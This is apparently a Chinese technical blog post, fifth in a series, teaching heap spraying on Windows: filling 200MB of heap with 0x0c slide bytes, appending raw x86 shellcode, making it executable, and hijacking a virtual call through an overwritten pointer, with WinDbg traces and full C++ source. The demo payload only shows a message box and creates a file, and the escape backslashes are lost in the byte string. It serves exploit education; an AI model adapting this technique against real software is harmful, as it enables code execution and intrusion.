• windows:shellcode 远程线程hook/注入(五)


            前面几篇文章介绍了通过APC注入、进程注入、windows窗口处理函数回调、kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行shellcode的方法;

            所谓堆喷射,本质上是在堆上分配空间,然后拷贝shellcode到这里执行,思路和之前分享的驱动隐藏(https://www.cnblogs.com/theseventhson/p/13170445.html)方法类似。不一样的地方在于:这里会申请大量空间(业界常见的是200M),填充0x0c(这就是所谓的slide code),然后在空间尾部拷贝shellcode;那么问题来了:

    •   为啥那么要申请200M这么大的空间?

       我们的shellcode在该空间的尾部,从 “200M-shellcode开头”  这段充满0x0c代码的任意地方开始执行最终都能顺利“滑”shellcode执行,极大增加了shellcode被执行的概率。如果没有slide code,那么必须靳准控制eip挑战到shellcode 的入口,增加了难度;

    •   为啥用0x0c填充,而不是用其他代码填充?

           (1)0x0c的代码是or al,0ch; 不会影响我们的shellcode;  (2)0x0c0c0c0c处的数据被填充成了0c0c0c0c(后面会详解);如果填充其他数据,会导致程序跳转到错误的地址,最终执行出错;

            接下来解读核心代码;

      1、申请堆内存,填充0x0c,如下spray0:

     

       就是在这里,因为spray+buflen远大于0x0c0c0c0c,通过memset把0x0c0c0c0c的内容也改成0x0c0c0c0c;

            新手注意:这些变量都是在函数内部生成的局部变量,本身在栈空间,函数一旦结束,空间会被释放;但spray例外,其指向堆空间,0x0c和shellcode都被复制到了堆空间,函数结束后仍然存在,除非手动释放,或则程序结束被操作系统回收;

            通过process hacker能查到0x0c成功写入栈空间:

     

    shellcode也写入了:

     

    内存也改成可执行(这里有个坑,后面会详细解释)

     

       2、覆盖虚函数表

      (1)buflen和factoryObj都在栈空间,相距0x0c=12字节,所以MAGICCODE前面12字节是0,后面8字节才是覆盖factoryObj指针的内容;

      (2)另一个坑:factory* factoryObj = new factory(); 单步调试这行代码时总是出错,windbg提示如下:

    0:000:x86> p

    (5a78.1780): Access violation - code c0000005 (first chance)

    First chance exceptions are reported before any exception handling.

    This exception may be expected and handled.

    ucrtbased!calloc_base+0xe5d:

    7a90bfbd 894204          mov     dword ptr [edx+4],eax ds:002b:00f2f024=00000000

          从错误提示看,属于Access violation,常见的c0000005类型错误,读写了不该读写的内存(3环exe程序经常会弹出c0000005类型的错误);从具体出错的位置看,是mov     dword ptr [edx+4],eax这行代码造成的,具体涉及的内存地址是ds:002b:00f2f024,那么进一步看看这个地方都存了啥,如下:

           0:000:x86> dd 002b:00f2f024                                             

    002b:00f2f024  00000000 00000000 00000000 00000001

    002b:00f2f034  0c800000 00000047 fdfdfdfd 0c0c0c0c

    002b:00f2f044  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

    002b:00f2f054  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

    002b:00f2f064  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

    002b:00f2f074  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

    002b:00f2f084  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

    002b:00f2f094  0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

           下面的全是0c,看着好眼熟,这不就是自己填充的slide code么? 这段内存不就是自己在spray0里面通过new char申请的么?当时为了执行这段代码,调用virtualProteced函数把内存属性改成了PAGE_EXECUTE, 可执行的问题是解决了,但还要覆盖factoryObj指针了(factoryObj是new出来的,其对象也会被分配在堆空间),同样需要读写权限,只给执行权限显然是不够的,同时也需要读写权限,所以在spray0里面就要这样改了:VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &dwOld),如下:

            

           继续:单步执行完memcpy后,factoryObj被成功改为0c0c0c0c:

        

          继续运行,成功执行shellcode:

           

           exe的目录下也生成了1.txt文件

         

      注意:上面的截图并不是一次调试过程中截取的,而是多次,所以同一个变量的地址会不同,但并不影响最终的效果展示;

           完整代码:

    #include <iostream>
    
    #include <windows.h>
    #include <stdio.h>
    
    #define MAGICCODE "000000000000x0cx0cx0cx0c"//bufLen和factoryObj之间间隔了0xc,所以这里有12个0,从第13位开始才覆盖factoryObj原值
    
    class factory
    {
        char m_buf[8] = {0};
    public:
        factory() 
        {
    
        }
    
        virtual int factoryCreate1()
        {
            printf("%s
    ", "factoryInit1");
            return 0;
        }
        virtual int factoryCreate2()
        {
            printf("%s
    ", "factoryInit2");
            return 0;
        }
    };
    
    /*
    *   溢出局部变量,并利用HeapSpray执行自定义的shellcode
    */
    
    void spray1()
    {
        factory* factoryObj = new factory();
        unsigned int bufLen = 0xffffffff;
        memcpy(&bufLen, MAGICCODE, sizeof(MAGICCODE) - 1);
        factoryObj->factoryCreate1();
        return;
    }
    
    /*
    *   申请200M堆空间
    */
    
    void spray0()
    {
        unsigned char buf[] = "xE9x8Bx01x00x00xCCxCCxCCxCCxCCxCCxCCxCCxCCxCCxCCx64xA1x30x00x00x00x85xC0x78x0Dx8Bx40x0Cx8Bx40x14x8Bx00x8Bx00x8Bx40x10xC3xCCxCCxCCxCCxCCxCCxCCxCCx55x8BxECx83xECx40x53x56x8BxD9x57x89x5DxF4xE8xCDxFFxFFxFFx8BxF0x33xFFx8Bx56x3Cx39x7Cx32x7Cx75x07x33xFFxE9x9Cx00x00x00x8Bx44x32x78x85xC0x74xF1x8Bx54x30x18x85xD2x74xE9x8Bx4Cx30x24x8Bx5Cx30x20x03xCEx8Bx44x30x1Cx03xDEx03xC6x89x4DxFCx33xC9x89x45xF8x4Ax8Bx04x8Bx03xC6x80x38x47x75x4Ex80x78x01x65x75x48x80x78x02x74x75x42x80x78x03x50x75x3Cx80x78x04x72x75x36x80x78x05x6Fx75x30x80x78x06x63x75x2Ax80x78x07x41x75x24x80x78x08x64x75x1Ex80x78x09x64x75x18x80x78x0Ax72x75x12x80x78x0Bx65x75x0Cx80x78x0Cx73x75x06x80x78x0Dx73x74x07x41x3BxCAx76xA3xEBx0Fx8Bx45xFCx8Bx7DxF8x0FxB7x04x48x8Bx3Cx87x03xFEx8Bx5DxF4x8Dx45xC0x89x3Bx50xC7x45xC0x4Cx6Fx61x64xC7x45xC4x4Cx69x62x72xC7x45xC8x61x72x79x41xC6x45xCCx00xE8xF9xFExFFxFFx50x8Bx03xFFxD0x8Dx4DxDCx89x43x04x51x8Dx4DxE8xC7x45xE8x55x73x65x72x51xC7x45xECx33x32x2Ex64x66xC7x45xF0x6Cx6CxC6x45xF2x00xC7x45xDCx4Dx65x73x73xC7x45xE0x61x67x65x42xC7x45xE4x6Fx78x41x00xFFxD0x50x8Bx03xFFxD0x89x43x08x8Dx45xD0x50xC7x45xD0x43x72x65x61xC7x45xD4x74x65x46x69xC7x45xD8x6Cx65x41x00xE8x94xFExFFxFFx50x8Bx03xFFxD0x5Fx5Ex89x43x0Cx5Bx8BxE5x5DxC3xCCxCCxCCxCCxCCx55x8BxECx83xECx24x8Dx4DxDCxE8x92xFExFFxFFx6Ax00x8Dx45xFCxC7x45xECx48x65x6Cx6Cx50x8Dx45xECx66xC7x45xF0x6Fx21x50x6Ax00xC6x45xF2x00xC7x45xFCx54x69x70x00xFFx55xE4x6Ax00x6Ax00x6Ax02x6Ax00x6Ax00x68x00x00x00x40x8Dx45xF4xC7x45xF4x31x2Ex74x78x50x66xC7x45xF8x74x00xFFx55xE8x8BxE5x5DxC3xCCxCCxCCxCC";
        SIZE_T shellcodeSize = sizeof(buf);
        unsigned int bufLen = 200 * 1024 * 1024;
        DWORD dwOld = 0;
        char* spray = new char[bufLen];
        memset(spray, 0x0c, sizeof(char) * bufLen);
        //memset(spray + bufLen - 0x10, 0xcc, 0x10); //写入自定义的shellcode,即0xcc
        memcpy(spray + bufLen - shellcodeSize+1, buf, shellcodeSize); //写入自定义的shellcode,注意spray + bufLen - shellcodeSize+1地址对齐;
        //VirtualProtect(spray, bufLen, PAGE_EXECUTE, &dwOld); // 设置堆内存可执行代码
        VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &dwOld); // 设置堆内存可执行代码
        return;
    }
    
    
    int main()
    {
        spray0();
        spray1();
        return 0;
    }

    参考:

    1、https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/getting-started-with-windbg  windbg用户模式调试3环的exe

    2、https://blog.csdn.net/lixiangminghate/article/details/53413863 

    3、https://blog.csdn.net/andy7002/article/details/72834644

  • 相关阅读:
    做了个专门针对少儿编程教程的网站,有兴趣的可以来逛逛
    解决 supervisor : 无法加载文件 C:UserscharlesAppDataRoaming pmsupervisor.ps1
    node.js03 第一个node.js程序和读取文件
    .net图表之ECharts随笔06-这才是最简单的
    .net图表之ECharts随笔05-不同01的语法步骤
    .net图表之ECharts随笔04-散点图
    .net图表之ECharts随笔03-热力地图
    .net图表之ECharts随笔02-字符云
    .net图表之ECharts随笔01-最简单的使用步骤
    Python学习之全局变量与global
  • 原文地址:https://www.cnblogs.com/theseventhson/p/13275151.html
Copyright © 2020-2023  润新知